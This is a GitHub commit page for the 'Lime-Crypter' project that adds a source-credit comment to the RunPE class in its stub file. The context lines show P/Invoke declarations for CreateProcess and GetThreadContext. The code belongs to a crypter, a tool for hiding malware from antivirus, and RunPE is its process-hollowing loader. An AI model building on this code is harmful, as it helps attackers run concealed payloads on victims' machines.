Skip to content

Commit

Permalink
Update Stub.cs
Browse files Browse the repository at this point in the history
  • Loading branch information
Nyrotication committed Aug 17, 2019
1 parent c9446a4 commit cf0b7ce
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions Lime-Crypter/Resources/Stub.cs
Original file line number Diff line number Diff line change
Expand Up @@ -186,6 +186,8 @@ public void Powershell(string args)
#region RunPE Class
public static class RunPE
{
//github.com/Artiist/RunPE-Process-Protection/blob/master/RunPE.cs

[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext"), SuppressUnmanagedCodeSecurity]
Expand Down

0 comments on commit cf0b7ce

Please sign in to comment.